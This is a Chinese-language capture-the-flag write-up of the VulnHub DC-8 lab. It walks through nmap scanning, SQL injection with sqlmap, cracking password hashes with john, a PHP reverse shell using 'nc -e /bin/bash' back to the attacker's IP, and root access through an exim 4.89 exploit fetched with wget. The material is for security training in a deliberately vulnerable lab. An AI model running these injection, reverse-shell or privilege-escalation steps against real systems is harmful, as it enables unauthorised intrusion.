前言
这次练习的靶机是vulnhub平台下的DC系列靶机第8台，下载地址为https://www.vulnhub.com/entry/dc-8,367/。挑战该靶机的最终目的是获取root权限，然后读取唯一的flag。这台靶机的总体难度不大，利用的漏洞也是常见的，只要细心观察就可以发现这个突破口。
虚拟机配置
这次采用的网络连接模式依然是NAT模式，为了避免扫描到其他物理主机。在导入虚拟机后，右击DC-8靶机，然后选中配置。依次点击网络配置->NAT模式->高级->生成，然后确认即可。
收集信息
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主机扫描，不进行端口测探。
–min-parallelism 代表调整探测报文的并行度，也就是在扫描同一台主机时会发送很多个探测数据包，这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小，也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考：https://zhuanlan.zhihu.com/p/322244582，关于nmap的一些性能参数的学习。
发现靶机的IP地址为 192.168.119.169，然后用nmap对靶机进行详细地扫描。
nmap -A -sV -p- --min-parallelism 100 192.168.119.169
-A 代表综合性扫描，能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口，后面的
-代表所有端口。
发现开放了 80端口和 22端口，还发现了一些敏感目录。用浏览器打开网页进一步收集更多的信息。
看网页上面的提示，这些英文翻译如下：
非常重要的信息
在我们解决一些悬而未决的问题时，该网站将在未来几周中断。
给您带来的不便，我们深表歉意。
这个网站关闭了一些功能，但是还展示几个页面。点击这些页面看看有没有数据交互的地方，因为在数据交互的地方很有可能会存在漏洞。
SQL注入
在点击 Welcome to DC-8时发现地址栏中出现了一个参数 nid，这个地方很可能会出现sql注入。可以在这个参数值中加一个引号或双引号，看看会不会报错，如果报错则说明存在sql注入漏洞。
在nid参数值中添加一个单引号后出现了报错，并且把sql语句也显出了出来，这很明显存在sql注入漏洞。接下来可以使用sqlmap把数据库中的账号查出来。
sqlmap -u "192.168.119.169/?nid=1" -p nid --dbs
-p 指定有sql注入漏洞的参数。
–dbs 表示列出所有数据库名称。
information_schema是mysql的默认数据库，存储一些mysql的配置信息。所以该网站的数据库就是d7db，接下来查询一下d7db中的表名。
sqlmap -u "192.168.119.169/?nid=1" -p nid -D d7db --tables
-D 指定要查询的数据库
–tables 列出所有表名
发现有一个叫users的表，账号和密码应该存在这个表中，查询一下该表中的数据。
sqlmap -u "192.168.119.169/?nid=1" -p nid -D d7db -T users --dump
-T 指定要查询的表名
–dump 列出表中详细信息
现在已经将admin和john的密文查询出来了，接下来可以通过john爆破这两个密码了。
爆破密码
首先将这两个密码写入一个文件中。
echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'>pass.txt
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'>>pass.txt
然后用john爆破密文。
john pass.txt
从上图中看已经爆破出了密码 turtle，经过测试这个密码是john的密码。也可以用john --show pass.txt来查看已经爆破出的密码。
反弹shell
首先登陆网站的后台，该网站的后台地址为 http://192.168.119.169/user/login。
登陆后应该寻找可以写入php代码的地方，只有能执行代码的地方才能建立反弹shell。经过多次尝试后发现按照下列步骤操作能执行php代码。
然后在文本框中写入代码：
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.119.130 4443")
?>
其中必须要有能显示的文字才能执行php代码。因为该内容是在用户提交数据后显示的内容，如果没有能显示的内容，则这一部分内容将不会被引用，那么代码也就不会执行。
然后在本地监听4443端口。
rlwrap nc -lvnp 4443
然后在 Contact Us的view中随便填写数据，然后提交。
提交数据后就会显示刚刚填写在文本框中的内容，其中php代码也会跟着执行，所以这时候反弹shell也就建立了。然后再执行一下命令升级一下shell。
python -c 'import pty;pty.spawn("/bin/bash")'
提权
尝试一下suid提权，首先搜索一下具有s权限的文件。
find / -perm -u=s -type f -exec ls -la {
} \; 2>/dev/null
suid提权详细内容可以参考：https://cloud.tencent.com/developer/article/1600994
发现了一个比较特别文件exim4，用searchsploit搜索一下，看看能不能使用这个文件提权。首先查看一下exim的版本。
exim --version
发现版本号是4.89，用searchsploit搜索一下该版本的利用程序。
searchsploit exim
把 46996.sh复制到当前文件夹，并查看一下该文件中的注释，因为在注释中有说明使用方法，同时将该文件中的换行符换成unix格式的换行符。
searchsploit -m 46996.sh
vim 46996.sh
:set ff=unix
该程序有两种方法来获取root权限，可以在提权的时候都尝试一下。现在需要将该文件上传到靶机中，首先在该提权文件目录执行一下命令。
python3 -m http.server 80
该命令相当于开启一个web网站，可以供其他主机下载。
然后将46996.sh下载至靶机。
cd /tmp
wget 192.168.119.130/46996.sh
赋予46996.sh执行权限，并按照注释中提示的方法执行该程序。执行程序后等待一会儿就提权成功了。要注意的是如果没有提权成功可以多尝试几次，提权成功后过一会儿又会失去root权限。
chmod +x 46996.sh
./46996.sh -m netcat
提权成功，读取flag。
cd /root
cat flag.txt
参考文献
[1] https://zhuanlan.zhihu.com/p/322244582，关于nmap的一些性能参数的学习。
[2] https://cloud.tencent.com/developer/article/1600994